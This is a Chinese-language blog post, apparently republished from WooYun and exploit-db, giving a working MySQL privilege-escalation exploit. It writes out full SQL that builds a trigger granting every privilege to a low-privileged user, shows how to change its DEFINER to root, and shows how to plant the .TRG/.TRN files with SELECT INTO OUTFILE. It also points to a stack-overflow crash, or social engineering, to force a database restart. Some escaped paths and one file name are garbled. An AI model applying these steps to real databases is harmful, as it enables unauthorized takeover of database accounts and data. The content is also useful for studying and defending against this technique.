wooyaa的学习笔记

生命不息,折腾不止

  这段时间在研究数据库提权,发现以往我们关注的都是root权限下或者sa权限下如何去提权,但是一旦遇到普通权限的数据库用户我们该怎么办,就放弃了吗?

 

0X00 什么是触发器


触发器(trigger)是数据库提供给程序员和数据分析员来保证数据完整性的一种方法,它是与表事件相关的特殊的储存过程,它的执行不是由程序调用,也不是手工启动,而是由事件来触发,当对一个表进行操作(insert,delete,update)时就会激活它执行。触发器经常用于加强数据的完整性约束和业务规则等。

 

0X01 问题描述


a)通过Mysql触发器提权仅仅能获取一个Mysql Root权限的Mysql账号,并不是系统提权(系统提权取决于包括mysql是不是以root方式运行的等等很多因素)。

b)渗透过程中所能利用的触发器提权中,需要提权的账号需要有"File"权限,或者是有能力向mysql的目录下写入文件。

c)Mysql的触发器有6种类型分别是After insert,After delete,After update和Before insert,Before delete,Before update。

 

0X02 实验过程


在以下版本测试成功

a) CentOS 5.5 && Mysql-5.0.51a

b) Win2003 x86 && Mysql-5.5.24

工作原理:

a) 因为MySQL的触发器以明文文本的形式保存最对应库的目录下面,形式为触发器文件.TRG和触发器描述文件.TRN,可以通过select into outfile方式写入(所以需要"File"权限)。

b) Mysql在定义触发器的时候有一个定义触发器执行角色的字段DEFINER,默认的此字段与建立触发器的角色相同(即与'CREATE DEFINER'字段相同)。如果我们可以上传一个执行角色为root的触发器,那么就能以root权限执行触发语句。

c) 根据触发器的原理,我们本地新建一个触发器,然后修改相关配置,如触发角色触发条件触发后执行语句等等,制作exp实现提权。

实验环境:

Win2003x86 && Mysql-5.5.24,默认安装Mysql,导入一个xxxCMS的数据库"cms",并为此数据库建立一个普通权限的用户"test"

Test 账号添加方式:

grant all privileges on cms.* to test@localhost identified by '1234';

root执行show databases;的结果:

show.png

root执行select User,Host from mysql.user;的结果:

select.png

test执行show databases;的结果:

show1.png

test执行use cms;并查询此数据库上存在的触发器show triggers;

trigger.png

实验过程:

a)本地生成触发器文件:

1.首先在本地的Mysql上建立正常的触发器,建立过程:

mysql> delimiter //   
/** 此处定义操作块,在操作块结束前即使遇到;也不去执行,直到遇到结束符(//) **/
mysql> create trigger rootme after update on cms_users for each row 
/** 建立一个作用于表cms_users的、类型为After update的、名为rootme的触发器,for each row意思是每触发一次,就执行一次执行语句 **/
mysql> begin update mysql.user set Select_priv='Y',Insert_priv='Y',Update_priv='Y',Delete_priv='Y',Create_priv='Y',Drop_priv='Y',Reload_priv='Y',Shutdown_priv='Y',Process_priv='Y',File_priv='Y',Grant_priv='Y',References_priv='Y',Index_priv='Y',Alter_priv='Y',Show_db_priv='Y',Super_priv='Y',Create_tmp_table_priv='Y',Lock_tables_priv='Y',Execute_priv='Y',Repl_slave_priv='Y',Repl_client_priv='Y',Create_view_priv='Y',Show_view_priv='Y',Create_routine_priv='Y',Alter_routine_priv='Y',Create_user_priv='Y',Event_priv='Y',Trigger_priv='Y',Create_tablespace_priv='Y',ssl_type='Y',ssl_cipher='Y',x509_issuer='Y',x509_subject='Y',max_questions='Y',max_updates='Y',max_connections='Y' where User='test';
/** 默认格式begin为开头加上触发后执行的语句,此处语句为执行修改mysql.user表中test用户的权限的操作 **/
mysql> end;    /** 触发器定义结束标志 **/
mysql> //      /** 操作块结束标志,闭合开头定义的操作块 **/

以上sql语句执行完毕就会在数据库cms的目录下生成两个文件:rootme.TRN 和 cms_users.TRG。

打开文件,发现DEFINER字段为:test@localhost

tng.png

我们将其改为root@localhost,使此触发器触发后执行角色为root。

将这两个文件作为后面的提权Exp保留下来。

b)使用test用户登陆Mysql,并查询此数据库上存在的触发器:

trigger.png

经过查询触发器为空,我们把前面我们本地生成好的触发器文件<span style="color: #00ff00;"><strong>上传</strong></span>到对应的数据库目录下,即cms目录下:
/** 上传可以使用select * into outfile方式或者其他方式 **/
/**   TRG文件   **/
/**   SELECT 'TYPE=TRIGGERS' into outfile'C:wampbinmysqlmysql5.5.24datacmsrootme.TRG' LINES TERMINATED BY 'ntriggers='CREATE DEFINER=`root`@`localhost` trigger rootme after update on cms_users for each rownbegin nUPDATE mysql.user SET Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y', Show_db_priv='Y', Super_priv='Y', Create_tmp_table_priv='Y', Lock_tables_priv='Y', Execute_priv='Y', Repl_slave_priv='Y', Repl_client_priv='Y', Create_view_priv='Y', Show_view_priv='Y', Create_routine_priv='Y', Alter_routine_priv='Y', Create_user_priv='Y', ssl_type='Y', ssl_cipher='Y', x509_issuer='Y', x509_subject='Y',max_questions='Y', max_updates='Y', max_connections='Y' WHERE User='test';nend'nsql_modes=0ndefiners='root@localhost'nclient_cs_names='gbk'nconnection_cl_names='gbk_chinese_ci'ndb_cl_names='utf8_general_ci'n';    **/
/**   TRN文件   **/
/**   SELECT 'TYPE=TRIGGERNAMEntrigger_table=rootme;' into outfile 'C:wampbinmysqlmysql5.5.24datacmscms_users.TNG';   **/

cms.png

再次查询Triggers:

show3.png

发现触发器已经写入,前面我们写的触发类型是after update,作用于表cms_users,所以我们这里我们update cms_users这个表来触发。

触发之前mysql.user表:

select1.png

update cms_users这个表触发执行:

11111111111111111111.png

触发之后mysql.user表:

select2.png

至此,"test"用户所拥有的权限跟"root"用户拥有的权限一致。

**文中部分位置"有可能"出现"不识别"的情况,比如上传文件后仍然查询不到触发器,比如触发了触发器修改了test的权限后发现并未生效。此时需要重启数据库重新加载配置,至于重启数据库的方式嘛,可以借鉴社工思路。Mysql5.0版本之前的可以利用之前爆出来的栈溢出漏洞造成MySQL Crash重启,达到重新加载配置文件的目的。

*这个栈溢出的原理是使用一个没有grant权限的用户做一个虚假的grant操作,而这个操作是对一个根本不存在但很长(如下攻击实例是10000字符长度的库名,实际达到284个时就会触发)库进行赋权。

文中提到的两个文件cms_users.TRG和rootme.TRN

By:darksn0w@live.cn
In wooyun drops:http://drops.wooyun.org/tips/3435
In exploit-db:http://www.exploit-db.com/exploits/23076/

 
*本文为wooyaa原创,转载请提及wooyaa以及原文链接,其他均参照[MIT][15]协议。


添加新评论 »

在这里输入你的评论...